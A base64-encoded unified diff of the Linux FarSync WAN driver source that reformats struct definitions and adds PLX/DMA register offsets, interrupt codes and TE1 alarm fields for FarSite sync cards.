MDAwMDAwMCArMDAwMApAQCAtMSw5ICsxLDkgQEAKIC8qCi0gKiAgICAgIEZhclN5bmMgWDIxIGRy aXZlciBmb3IgTGludXggKGdlbmVyaWMgSERMQyB2ZXJzaW9uKQorICogICAgICBGYXJTeW5jIFdB TiBkcml2ZXIgZm9yIExpbnV4ICgyLjQueCBrZXJuZWwgdmVyc2lvbikKICAqCiAgKiAgICAgIEFj dHVhbGx5IHN5bmMgZHJpdmVyIGZvciBYLjIxLCBWLjM1IGFuZCBWLjI0IG9uIEZhclN5bmMgVC1z ZXJpZXMgY2FyZHMKICAqCi0gKiAgICAgIENvcHlyaWdodCAoQykgMjAwMSBGYXJTaXRlIENvbW11 bmljYXRpb25zIEx0ZC4KKyAqICAgICAgQ29weXJpZ2h0IChDKSAyMDAxLTIwMDQgRmFyU2l0ZSBD b21tdW5pY2F0aW9ucyBMdGQuCiAgKiAgICAgIHd3dy5mYXJzaXRlLmNvLnVrCiAgKgogICogICAg ICBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQg YW5kL29yCkBAIC0xMSw2NiArMTEsODEgQEAKICAqICAgICAgYXMgcHVibGlzaGVkIGJ5IHRo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nMgZm9yIHRoZSBsaW5r CiAgKi8KLSNkZWZpbmUgRlNUX1RYX1FVRVVFX0xFTiAgICAgICAgMTAwICAgICAvKiBBdCA4TWJw cyBhIGxvbmdlciBxdWV1ZSBsZW5ndGggaXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgKiB1c2VmdWwsIHRoZSBzeW5jcHBwIG1vZHVsZSBmb3JjZXMKLSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB0aGlzIGRvd24gYXNzdW1pbmcgYSBz bG93ZXIgbGluZSBJCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICog Z3Vlc3MuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCi0jZGVm aW5lIEZTVF9NQVhfTVRVICAgICAgICAgICAgIDgwMDAgICAgLyogSHVnZSBidXQgcG9zc2libGUg Ki8KLSNkZWZpbmUgRlNUX0RFRl9NVFUgICAgICAgICAgICAgMTUwMCAgICAvKiBDb21tb24gc2Fu ZSB2YWx1ZSAqLworI2RlZmluZSBGU1RfVFhfUVVFVUVfTEVOICAgICAgICAxMDAJLyogQXQgOE1i cHMgYSBsb25nZXIgcXVldWUgbGVuZ3RoIGlzCisJCQkJCSAqIHVzZWZ1bCwgdGhlIHN5bmNwcHAg bW9kdWxlIGZvcmNlcworCQkJCQkgKiB0aGlzIGRvd24gYXNzdW1pbmcgYSBzbG93ZXIgbGluZSBJ CisJCQkJCSAqIGd1ZXNzLgorCQkJCQkgKi8KKyNkZWZpbmUgRlNUX1RYUV9ERVBUSCAgICAgICAg ICAgMTYJLyogVGhpcyBvbmUgaXMgZm9yIHRoZSBidWZmZXJpbmcKKwkJCQkJICogb2YgZnJhbWVz IG9uIHRoZSB3YXkgZG93biB0byB0aGUgY2FyZAorCQkJCQkgKiBzbyB0aGF0IHdlIGNhbiBrZWVw IHRoZSBjYXJkIGJ1c3kKKwkJCQkJICogYW5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bWFydERNQSBtb2RlIHVzaW5nIGNpcmN1bGFyIHBvb2xz CiAgKiAgICAgIG9mIGJ1ZmZlciBkZXNjcmlwdG9ycy4gVGhlIHN0cnVjdHVyZSBpcyBhbG1vc3Qg aWRlbnRpY2FsIHRvIHRoYXQgdXNlZAogICogICAgICBpbiB0aGUgTEFOQ0UgRXRoZXJuZXQgY29u dHJvbGxlcnMuIERldGFpbHMgYXZhaWxhYmxlIGFzIFBERiBmcm9tIHRoZQogICogICAgICBBTUQg d2ViIHNpdGU6IGh0dHA6Ly93d3cuYW1kLmNvbS9wcm9kdWN0cy9lcGQvcHJvY2Vzc29ycy9cCiAg KiAgICAgICAgICAgICAgICAgICAgMi4xNmJpdGNvbnQvMy5hbTE4NmN4ZmEvYTIxOTE0LzIxOTE0 LnBkZgogICovCi1zdHJ1Y3QgdHhkZXNjIHsgICAgICAgICAgICAgICAgIC8qIFRyYW5zbWl0IGRl c2NyaXB0b3IgKi8KLSAgICAgICAgdm9sYXRpbGUgdTE2IGxhZHI7ICAgICAgLyogTG93IG9yZGVy IGFkZHJlc3Mgb2YgcGFja2V0LiBUaGlzIGlzIGEKLSAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICogbGluZWFyIGFkZHJlc3MgaW4gdGhlIEFtMTg2IG1lbW9yeSBzcGFjZQotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgdm9sYXRpbGUgdTggIGhhZHI7 ICAgICAgLyogSGlnaCBvcmRlciBhZGRyZXNzLiBMb3cgNCBiaXRzIG9ubHksIGhpZ2ggNAotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBiaXRzIG11c3QgYmUgemVybwotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgdm9sYXRpbGUgdTggIGJpdHM7 ICAgICAgLyogU3RhdHVzIGFuZCBjb25maWcgKi8KLSAgICAgICAgdm9sYXRpbGUgdTE2IGJjbnQ7 ICAgICAgLyogMnMgY29tcGxlbWVudCBvZiBwYWNrZXQgc2l6ZSBpbiBsb3cgMTUgYml0cy4KLSAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogVHJhbnNtaXQgdGVybWluYWwgY291bnQg aW50ZXJydXB0IGVuYWJsZSBpbgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB0 b3AgYml0LgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAg ICAgICAgdTE2IHVudXNlZDsgICAgLyogTm90IHVzZWQgaW4gVHggKi8KK3N0cnVjdCB0eGRlc2Mg ewkJCS8qIFRyYW5zbWl0IGRlc2NyaXB0b3IgKi8KKwl2b2xhdGlsZSB1MTYgbGFkcjsJLyogTG93 IG9yZGVyIGFkZHJlc3Mgb2YgcGFja2V0LiBUaGlzIGlzIGEKKwkJCQkgKiBsaW5lYXIgYWRkcmVz cyBpbiB0aGUgQW0xODYgbWVtb3J5IHNwYWNlCisJCQkJICovCisJdm9sYXRpbGUgdTggaGFkcjsJ LyogSGlnaCBvcmRlciBhZGRyZXNzLiBMb3cgNCBiaXRzIG9ubHksIGhpZ2ggNAorCQkJCSAqIGJp dHMgbXVzdCBiZSB6ZXJvCisJCQkJICovCisJdm9sYXRpbGUgdTggYml0czsJLyogU3RhdHVzIGFu ZCBjb25maWcgKi8KKwl2b2xhdGlsZSB1MTYgYmNudDsJLyogMnMgY29tcGxlbWVudCBvZiBwYWNr ZXQgc2l6ZSBpbiBsb3cgMTUgYml0cy4KKwkJCQkgKiBUcmFuc21pdCB0ZXJtaW5hbCBjb3VudCBp bnRlcnJ1cHQgZW5hYmxlIGluCisJCQkJICogdG9wIGJpdC4KKwkJCQkgKi8KKwl1MTYgdW51c2Vk OwkJLyogTm90IHVzZWQgaW4gVHggKi8KIH07CiAKLXN0cnVjdCByeGRlc2MgeyAgICAgICAgICAg ICAgICAgLyogUmVjZWl2ZSBkZXNjcmlwdG9yICovCi0gICAgICAgIHZvbGF0aWxlIHUxNiBsYWRy OyAgICAgIC8qIExvdyBvcmRlciBhZGRyZXNzIG9mIHBhY2tldCAqLwotICAgICAgICB2b2xhdGls ZSB1OCAgaGFkcjsgICAgICAvKiBIaWdoIG9yZGVyIGFkZHJlc3MgKi8KLSAgICAgICAgdm9sYXRp bGUgdTggIGJpdHM7ICAgICAgLyogU3RhdHVzIGFuZCBjb25maWcgKi8KLSAgICAgICAgdm9sYXRp bGUgdTE2IGJjbnQ7ICAgICAgLyogMnMgY29tcGxlbWVudCBvZiBidWZmZXIgc2l6ZSBpbiBsb3cg MTUgYml0cy4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogUmVjZWl2ZSB0ZXJt aW5hbCBjb3VudCBpbnRlcnJ1cHQgZW5hYmxlIGluCi0gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAqIHRvcCBiaXQuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLwot ICAgICAgICB2b2xhdGlsZSB1MTYgbWNudDsgICAgICAvKiBNZXNzYWdlIGJ5dGUgY291bnQgKDE1 IGJpdHMpICovCitzdHJ1Y3QgcnhkZXNjIHsJCQkvKiBSZWNlaXZlIGRlc2NyaXB0b3IgKi8KKwl2 b2xhdGlsZSB1MTYgbGFkcjsJLyogTG93IG9yZGVyIGFkZHJlc3Mgb2YgcGFja2V0ICovCisJdm9s YXRpbGUgdTggaGFkcjsJLyogSGlnaCBvcmRlciBhZGRyZXNzICovCisJdm9sYXRpbGUgdTggYml0 czsJLyogU3RhdHVzIGFuZCBjb25maWcgKi8KKwl2b2xhdGlsZSB1MTYgYmNudDsJLyogMnMgY29t cGxlbWVudCBvZiBidWZmZXIgc2l6ZSBpbiBsb3cgMTUgYml0cy4KKwkJCQkgKiBSZWNlaXZlIHRl cm1pbmFsIGNvdW50IGludGVycnVwdCBlbmFibGUgaW4KKwkJCQkgKiB0b3AgYml0LgorCQkJCSAq LworCXZvbGF0aWxlIHUxNiBtY250OwkvKiBNZXNzYWdlIGJ5dGUgY291bnQgKDE1IGJpdHMpICov CiB9OwogCiAvKiBDb252ZXJ0IGEgbGVuZ3RoIGludG8gdGhlIDE1IGJpdCAyJ3MgY29tcGxlbWVu dCAqLwpAQCAtMTQ5LDU3ICsxNjMsOTkgQEAKICNkZWZpbmUgY252X2JjbnQobGVuKSAgICgtKGxl bikpCiAKIC8qIFN0YXR1cyBhbmQgY29uZmlnIGJpdHMgZm9yIHRoZSBhYm92ZSAqLwotI2RlZmlu ZSBETUFfT1dOICAgICAgICAgMHg4MCAgICAgICAgICAgIC8qIFNtYXJ0RE1BIG93bnMgdGhlIGRl c2NyaXB0b3IgKi8KLSNkZWZpbmUgVFhfU1RQICAgICAgICAgIDB4MDIgICAgICAgICAgICAvKiBU eDogc3RhcnQgb2YgcGFja2V0ICovCi0jZGVmaW5lIFRYX0VOUCAgICAgICAgICAweDAxICAgICAg ICAgICAgLyogVHg6IGVuZCBvZiBwYWNrZXQgKi8KLSNkZWZpbmUgUlhfRVJSICAgICAgICAgIDB4 NDAgICAgICAgICAgICAvKiBSeDogZXJyb3IgKE9SIG9mIG5leHQgNCBiaXRzKSAqLwotI2RlZmlu ZSBSWF9GUkFNICAgICAgICAgMHgyMCAgICAgICAgICAgIC8qIFJ4OiBmcmFtaW5nIGVycm9yICov Ci0jZGVmaW5lIFJYX09GTE8gICAgICAgICAweDEwICAgICAgICAgICAgLyogUng6IG92ZXJmbG93 IGVycm9yICovCi0jZGVmaW5lIFJYX0NSQyAgICAgICAgICAweDA4ICAgICAgICAgICAgLyogUng6 IENSQyBlcnJvciAqLwotI2RlZmluZSBSWF9IQlVGICAgICAgICAgMHgwNCAgICAgICAgICAgIC8q IFJ4OiBidWZmZXIgZXJyb3IgKi8KLSNkZWZpbmUgUlhfU1RQICAgICAgICAgIDB4MDIgICAgICAg ICAgICAvKiBSeDogc3RhcnQgb2YgcGFja2V0ICovCi0jZGVmaW5lIFJYX0VOUCAgICAgICAgICAw eDAxICAgIC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2Rl ZmluZSBJTklUX0NQTFQgICAgICAgMHgyMAkvKiBJbml0aWFsaXNhdGlvbiBjb21wbGV0ZSAqLwor I2RlZmluZSBJTklUX0ZBSUwgICAgICAgMHgyMQkvKiBJbml0aWFsaXNhdGlvbiBmYWlsZWQgKi8K IAotI2RlZmluZSBBQlRBX1NFTlQgICAgICAgMHgyNCAgICAvKiBBYm9ydCBzZW50ICovCisjZGVm aW5lIEFCVEFfU0VOVCAgICAgICAweDI0CS8qIEFib3J0IHNlbnQgKi8KICNkZWZpbmUgQUJUQl9T RU5UICAgICAgIDB4MjUKICNkZWZpbmUgQUJUQ19TRU5UICAgICAgIDB4MjYKICNkZWZpbmUgQUJU RF9TRU5UICAgICAgIDB4MjcKIAotI2RlZmluZSBUWEFfVU5ERiAgICAgICAgMHgyOCAgICAvKiBU cmFuc21pc3Npb24gdW5kZXJmbG93ICovCisjZGVmaW5lIFRYQV9VTkRGICAgICAgICAweDI4CS8q IFRyYW5zbWlzc2lvbiB1bmRlcmZsb3cgKi8KICNkZWZpbmUgVFhCX1VOREYgICAgICAgIDB4MjkK ICNkZWZpbmUgVFhDX1VOREYgICAgICAgIDB4MkEKICNkZWZpbmUgVFhEX1VOREYgICAgICAgIDB4 MkIKIAorI2RlZmluZSBGNTZfSU5UICAgICAgICAgMHgyQworI2RlZmluZSBNMzJfSU5UICAgICAg ICAgMHgyRAorCisjZGVmaW5lIFRFMV9BTE1BICAgICAgICAweDMwCiAKIC8qIFBvcnQgcGh5c2lj YWwgY29uZmlndXJhdGlvbi4gU2VlIGZhcnN5bmMuaCBmb3IgZmllbGQgdmFsdWVzICovCiBzdHJ1 Y3QgcG9ydF9jZmcgewotICAgICAgICB1MTYgIGxpbmVJbnRlcmZhY2U7ICAgICAvKiBQaHlzaWNh bCBpbnRlcmZhY2UgdHlwZSAqLwotICAgICAgICB1OCAgIHgyNW9wOyAgICAgICAgICAgICAvKiBV bnVzZWQgYXQgcHJlc2VudCAqLwotICAgICAgICB1OCAgIGlud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gICAgICAgICAgICAgICAgICAg ICAgICAgICAqIHNldCB0byAweEVFIGJ5IGhvc3QgdG8gYWNrbm93bGVkZ2UgaW50ZXJydXB0Ci0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLworCXUxNiBzbWNWZXJzaW9uOwkJLyog TXVzdCBtYXRjaCBTTUNfVkVSU0lPTiAqLwogCi0gICAgICAgIHUxNiBzbWNWZXJzaW9uOyAgICAg ICAgIC8qIE11c3QgbWF0Y2ggU01DX1ZFUlNJT04gKi8KKwl1MzIgc21jRmlybXdhcmVWZXJzaW9u OwkvKiAweElJVlZSUkJCIHdoZXJlIElJID0gcHJvZHVjdCBJRCwgVlYgPSBtYWpvcgorCQkJCSAq IHZlcnNpb24sIFJSID0gcmV2aXNpb24gYW5kIEJCID0gYnVpbGQKKwkJCQkgKi8KIAotICAgICAg ICB1MzIgc21jRmlybXdhcmVWZXJzaW9uOyAvKiAweElJVlZSUkJCIHdoZXJlIElJID0gcHJvZHVj dCBJRCwgVlYgPSBtYWpvcgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB2ZXJz aW9uLCBSUiA9IHJldmlzaW9uIGFuZCBCQiA9IGJ1aWxkCi0gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAqLworCXUxNiB0eGFfZG9uZTsJCS8qIE9ic29sZXRlIGNvbXBsZXRpb24gZmxh Z3MgKi8KKwl1MTYgcnhhX2RvbmU7CisJdTE2IHR4Yl9kb25lOworCXUxNiByeGJfZG9uZTsKKwl1 MTYgdHhjX2RvbmU7CisJdTE2IHJ4Y19kb25lOworCXUxNiB0eGRfZG9uZTsKKwl1MTYgcnhkX2Rv bmU7CiAKLSAgICAgICAgdTE2IHR4YV9kb25lOyAgICAgICAgICAgLyogT2Jzb2xldGUgY29tcGxl dGlvbiBmbGFncyAqLwotICAgICAgICB1MTYgcnhhX2RvbmU7Ci0gICAgICAgIHUxNiB0eGJfZG9u ZTsKLSAgICAgICAgdTE2IHJ4Y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dpdGhpbiAybVMgKEkgZ3Vlc3MgTlQgaGFzIHByb2JsZW1zKQorCSAqLworCXUzMiBp bnRlcnJ1cHRSZXRyeUNvdW50OwogCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8q IE51bWJlciBvZiB0aW1lcyB0aGF0IGNhcmQgdGhpbmtzIHRoZSBob3N0IGhhcwotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgKiBtaXNzZWQgYW4gaW50ZXJydXB0IGJ5IG5vdCBhY2tu b3dsZWRnaW5nCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHdpdGhpbiAybVMg KEkgZ3Vlc3MgTlQgaGFzIHByb2JsZW1zKQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgKi8KLSAgICAgICAgdTMyIGludGVycnVwdFJldHJ5Q291bnQ7CisJLyogRHJpdmVyIHByaXZh dGUgZGF0YSB1c2VkIGFzIGFuIElELiBXZSdsbCBub3QKKwkgKiB1c2UgdGhpcyBhcyBJJ2QgcmF0 aGVyIGtlZXAgc3VjaCB0aGluZ3MKKwkgKiBpbiBtYWluIG1lbW9yeSByYXRoZXIgdGhhbiBvbiB0 aGUgUENJIGJ1cworCSAqLworCXUzMiBwb3J0SGFuZGxlW0ZTVF9NQVhfUE9SVFNdOwogCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIERyaXZlciBwcml2YXRlIGRhdGEgdXNlZCBh cyBhbiBJRC4gV2UnbGwgbm90Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHVz ZSB0aGlzIG9uIExpbnV4IEknZCByYXRoZXIga2VlcCBzdWNoIHRoaW5ncwotICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgKiBpbiBtYWluIG1lbW9yeSByYXRoZXIgdGhhbiBvbiB0aGUg UENJIGJ1cwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgdTMy IHBvcnRIYW5kbGVbRlNUX01BWF9QT1JUU107CisJLyogQ291bnQgb2YgVHggdW5kZXJmbG93cyBm b3Igc3RhdHMgKi8KKwl1MzIgdHJhbnNtaXRCdWZmZXJVbmRlcmZsb3dbRlNUX01BWF9QT1JUU107 CiAKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogQ291bnQgb2YgVHggdW5kZXJm bG93cyBmb3Igc3RhdHMgKi8KLSAgICAgICAgdTMyIHRyYW5zbWl0QnVmZmVyVW5kZXJmbG93W0ZT VF9NQVhfUE9SVFNdOworCS8qIERlYm91bmNlZCBWLjI0IGNvbnRyb2wgaW5wdXQgc3RhdHVzICov CisJdTMyIHYyNERlYm91bmNlZFN0c1tGU1RfTUFYX1BPUlRTXTsKIAotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAvKiBEZWJvdW5jZWQgVi4yNCBjb250cm9sIGlucHV0IHN0YXR1cyAq LwotICAgICAgICB1MzIgdjI0RGVib3VuY2VkU3RzW0ZTVF9NQVhfUE9SVFNdOworCS8qIEFkYXB0 ZXIgZGVib3VuY2UgdGltZXJzLiBEb24ndCB0b3VjaCAqLworCXUzMiBjdHNUaW1lcltGU1RfTUFY X1BPUlRTXTsKKwl1MzIgY3RzVGltZXJSdW5bRlNUX01BWF9QT1JUU107CisJdTMyIGRjZFRpbWVy W0ZTVF9NQVhfUE9SVFNdOworCXUzMiBkY2RUaW1lclJ1bltGU1RfTUFYX1BPUlRTXTsKIAotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBBZGFwdGVyIGRlYm91bmNlIHRpbWVycy4g RG9uJ3QgdG91Y2ggKi8KLSAgICAgICAgdTMyIGN0c1RpbWVyW0ZTVF9NQVhfUE9SVFNdOwotICAg ICAgICB1MzIgY3RzVGltZXJSdW5bRlNUX01BWF9QT1JUU107Ci0gICAgICAgIHUzMiBkY2RUaW1l cltGU1RfTUFYX1BPUlRTXTsKLSAgICAgICAgdTMyIGRjZFRpbWVyUnVuW0ZTVF9NQVhfUE9SVFNd OworCXUzMiBudW1iZXJPZlBvcnRzOwkvKiBOdW1iZXIgb2YgcG9ydHMgZGV0ZWN0ZWQgYXQgc3Rh cnR1cCAqLwogCi0gICAgICAgIHUzMiBudW1iZXJPZlBvcnRzOyAgICAgIC8qIE51bWJlciBvZiBw b3J0cyBkZXRlY3RlZCBhdCBzdGFydHVwICovCisJdTE2IF9yZXNlcnZlZFs2NF07CiAKLSAgICAg ICAgdTE2IF9yZXNlcnZlZFs2NF07CisJdTE2IGNhcmRNb2RlOwkJLyogQml0LW1hc2sgdG8gZW5h YmxlIGZlYXR1cmVzOgorCQkJCSAqIEJpdCAwOiAxIGVuYWJsZXMgTEVEIGlkZW50aWZ5IG1vZGUK KwkJCQkgKi8KIAotICAgICAgICB1MTYgY2FyZE1vZGU7ICAgICAgICAgICAvKiBCaXQtbWFzayB0 byBlbmFibGUgZmVhdHVyZXM6Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIEJp dCAwOiAxIGVuYWJsZXMgTEVEIGlkZW50aWZ5IG1vZGUKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICovCisJdTE2IHBvcnRTY2hlZHVsZU9mZnNldDsKIAotICAgICAgICB1MTYgcG9y dFNjaGVkdWxlT2Zmc2V0OworCXN0cnVjdCBzdV9jb25maWcgc3VDb25maWc7CS8qIFRFMSBCaXRz ICovCisJc3RydWN0IHN1X3N0YXR1cyBzdVN0YXR1czsKIAotICAgICAgICB1MzIgZW5kT2ZTbWNT aWduYXR1cmU7ICAvKiBlbmRPZlNtY1NpZ25hdHVyZSBNVVNUIGJlIHRoZSBsYXN0IG1lbWJlciBv ZgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB0aGUgc3RydWN0dXJlIGFuZCBt YXJrcyB0aGUgZW5kIG9mIHRoZSBzaGFyZWQKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICogbWVtb3J5LiBBZGFwdGVyIGNvZGUgaW5pdGlhbGl6ZXMgaXRzIHZhbHVlIGFzCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIEVORF9TSUcuCi0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAqLworCXUzMiBlbmRPZlNtY1NpZ25hdHVyZTsJLyogZW5kT2ZTbWNT aWduYXR1cmUgTVVTVCBiZSB0aGUgbGFzdCBtZW1iZXIgb2YKKwkJCQkgKiB0aGUgc3RydWN0dXJl IGFuZCBtYXJrcyB0aGUgZW5kIG9mIHNoYXJlZAorCQkJCSAqIG1lbW9yeS4gQWRhcHRlciBjb2Rl IGluaXRpYWxpemVzIGl0IGFzCisJCQkJICogRU5EX1NJRy4KKwkJCQkgKi8KIH07CiAKIC8qIGVu ZE9mU21jU2lnbmF0dXJlIHZhbHVlICovCiAjZGVmaW5lIEVORF9TSUcgICAgICAgICAgICAgICAg IDB4MTIzNDU2NzgKIAogLyogTWFpbGJveCB2YWx1ZXMuIChwb3J0TWFpbGJveCkgKi8KLSNkZWZp bmUgTk9QICAgICAgICAgICAgIDAgICAgICAgLyogTm8gb3BlcmF0aW9uICovCi0jZGVmaW5lIEFD SyAgICAgICAgICAgICAxICAgICAgIC8qIFBvc2l0aXZlIGFja25vd2xlZGdlbWVudCB0byBQQyBk cml2ZXIgKi8KLSNkZWZpbmUgTkFLICAgICAgICAgICAgIDIgICAgICAgLyogTmVnYXRpdmUgYWNr bm93bGVkZ2VtZW50IHRvIFBDIGRyaXZlciAqLwotI2RlZmluZSBTVEFSVFBPUlQgICAgICAgMyAg ICAgICAvKiBTdGFydCBhbiBIRExDIHBvcnQgKi8KLSNkZWZpbmUgU1RPUFBPUlQgICAgICAgIDQg ICAgICAgLyogU3RvcCBhbiBIRExDIHBvcnQgKi8KLSNkZWZpbmUgQUJPUlRUWCAgICAgICAgIDUg ICAgICAgLyogQWJvcnQgdGhlIHRyYW5zbWl0dGVyIGZvciBhIHBvcnQgKi8KLSNkZWZpbmUgU0VU VjI0TyAgICAgICAgIDYgICAgICAgLyogU2V0IFYyNCBvdXRwdXRzICovCisjZGVmaW5lIE5PUCAg ICAgICAgICAgICAwCS8qIE5vIG9wZXJhdGlvbiAqLworI2RlZmluZSBBQ0sgICAgICAgICAgICAg MQkvKiBQb3NpdGl2ZSBhY2tub3dsZWRnZW1lbnQgdG8gUEMgZHJpdmVyICovCisjZGVmaW5lIE5B SyAgICAgICAgICAgICAyCS8qIE5lZ2F0aXZlIGFja25vd2xlZGdlbWVudCB0byBQQyBkcml2ZXIg Ki8KKyNkZWZpbmUgU1RBUlRQT1JUICAgICAgIDMJLyogU3RhcnQgYW4gSERMQyBwb3J0ICovCisj ZGVmaW5lIFNUT1BQT1JUICAgICAgICA0CS8qIFN0b3AgYW4gSERMQyBwb3J0ICovCisjZGVmaW5l IEFCT1JUVFggICAgICAgICA1CS8qIEFib3J0IHRoZSB0cmFuc21pdHRlciBmb3IgYSBwb3J0ICov CisjZGVmaW5lIFNFVFYyNE8gICAgICAgICA2CS8qIFNldCBWMjQgb3V0cHV0cyAqLworCisvKiBQ TFggQ2hpcCBSZWdpc3RlciBPZmZzZXRzICovCisjZGVmaW5lIENOVFJMXzkwNTIgICAgICAweDUw CS8qIENvbnRyb2wgUmVnaXN0ZXIgKi8KKyNkZWZpbmUgQ05UUkxfOTA1NCAgICAgIDB4NmMJLyog Q29udHJvbCBSZWdpc3RlciAqLwogCisjZGVmaW5lIElOVENTUl85MDUyICAgICAweDRjCS8qIElu dGVycnVwdCBjb250cm9sL3N0YXR1cyByZWdpc3RlciAqLworI2RlZmluZSBJTlRDU1JfOTA1NCAg ICAgMHg2OAkvKiBJbnRlcnJ1cHQgY29udHJvbC9zdGF0dXMgcmVnaXN0ZXIgKi8KKworLyogOTA1 NCBETUEgUmVnaXN0ZXJzICovCisvKgorICogTm90ZSB0aGF0IHdlIHdpbGwgYmUgdXNpbmcgRE1B IENoYW5uZWwgMCBmb3IgY29weWluZyByeCBkYXRhCisgKiBhbmQgQ2hhbm5lbCAxIGZvciBjb3B5 aW5nIHR4IGRhdGEKKyAqLworI2RlZmluZSBETUFNT0RFMCAgICAgICAgMHg4MAorI2RlZmluZSBE TUFQQURSMCAgICAgICAgMHg4NAorI2RlZmluZSBETUFMQURSMCAgICAgICAgMHg4OAorI2RlZmlu ZSBETUFTSVowICAgICAgICAgMHg4YworI2RlZmluZSBETUFEUFIwICAgICAgICAgMHg5MAorI2Rl ZmluZSBETUFNT0RFMSAgICAgICAgMHg5NAorI2RlZmluZSBETUFQQURSMSAgICAgICAgMHg5OAor I2RlZmluZSBETUFMQURSMSAgICAgICAgMHg5YworI2RlZmluZSBETUFTSVoxICAgICAgICAgMHhh MAorI2RlZmluZSBETUFEUFIxICAgICAgICAgMHhhNAorI2RlZmluZSBETUFDU1IwICAgICAgICAg MHhhOAorI2RlZmluZSBETUFDU1IxICAgICAgICAgMHhhOQorI2RlZmluZSBETUFBUkIgICAgICAg ICAgMHhhYworI2RlZmluZSBETUFUSFIgICAgICAgICAgMHhiMAorI2RlZmluZSBETUFEQUMwICAg ICAgICAgMHhiNAorI2RlZmluZSBETUFEQUMxICAgICAgICAgMHhiOAorI2RlZmluZSBETUFNQVJC UiAgICAgICAgMHhhYworCisjZGVmaW5lIEZTVF9NSU5fRE1BX0xFTiA2NAorI2RlZmluZSBGU1Rf UlhfRE1BX0lOVCAgMHgwMQorI2RlZmluZSBGU1RfVFhfRE1BX0lOVCAgMHgwMgorI2RlZmluZSBG U1RfQ0FSRF9JTlQgICAgMHgwNAogCiAvKiBMYXJnZXIgYnVmZmVycyBhcmUgcG9zaXRpb25lZCBp biBtZW1vcnkgYXQgb2Zmc2V0IEJGTV9CQVNFICovCiBzdHJ1Y3QgYnVmX3dpbmRvdyB7Ci0gICAg ICAgIHU4IHR4QnVmZmVyW0ZTVF9NQVhfUE9SVFNdW05VTV9UWF9CVUZGRVJdW0xFTl9UWF9CVUZG RVJdOwotICAgICAgICB1OCByeEJ1ZmZlcltGU1RfTUFYX1BPUlRTXVtOV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Z2V0IG5leHQgYnVmZmVyIHRvIHR4ICovCisJaW50IHR4cWU7CQkvKiBpbmRleCB0byBxdWV1ZSBu ZXh0IHBhY2tldCAqLworCXN0cnVjdCBza19idWZmICp0eHFbRlNUX1RYUV9ERVBUSF07CS8qIFRo ZSBxdWV1ZSAqLworCWludCByeHFkZXB0aDsKIH07CiAKIC8qICAgICAgUGVyIGNhcmQgaW5mb3Jt YXRpb24KICAqLwogc3RydWN0IGZzdF9jYXJkX2luZm8gewotICAgICAgICBjaGFyICAgICAgICAg ICptZW07ICAgICAgICAgICAgIC8qIENhcmQgbWVtb3J5IG1hcHBlZCB0byBrZXJuZWwgc3BhY2Ug Ki8KLSAgICAgICAgY2hhciAgICAgICAgICAqY3RsbWVtOyAgICAgICAgICAvKiBDb250cm9sIG1l bW9yeSBmb3IgUENJIGNhcmRzICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHBoeXNfbWVtOyAg ICAgICAgLyogUGh5c2ljYWwgbWVtb3J5IHdpbmRvdyBhZGRyZXNzICovCi0gICAgICAgIHVuc2ln bmVkIGludCAgIHBoeXNfY3RsbWVtOyAgICAgLyogUGh5c2ljYWwgY29udHJvbCBtZW1vcnkgYWRk cmVzcyAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICBpcnE7ICAgICAgICAgICAgIC8qIEludGVy cnVwdCByZXF1ZXN0IGxpbmUgbnVtYmVyICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIG5wb3J0 czsgICAgICAgICAgLyogTnVtYmVyIG9mIHNlcmlhbCBwb3J0cyAqLwotICAgICAgICB1bnNpZ25l ZCBpbnQgICB0eXBlOyAgICAgICAgICAgIC8qIFR5cGUgaW5kZXggb2YgY2FyZCAqLwotICAgICAg ICB1bnNpZ25lZCBpbnQgICBzdGF0ZTsgICAgICAgICAgIC8qIFN0YXRlIG9mIGNhcmQgKi8KLSAg ICAgICAgc3BpbmxvY2tfdCAgICAgY2FyZF9sb2NrOyAgICAgICAvKiBMb2NrIGZvciBTTVAgYWNj 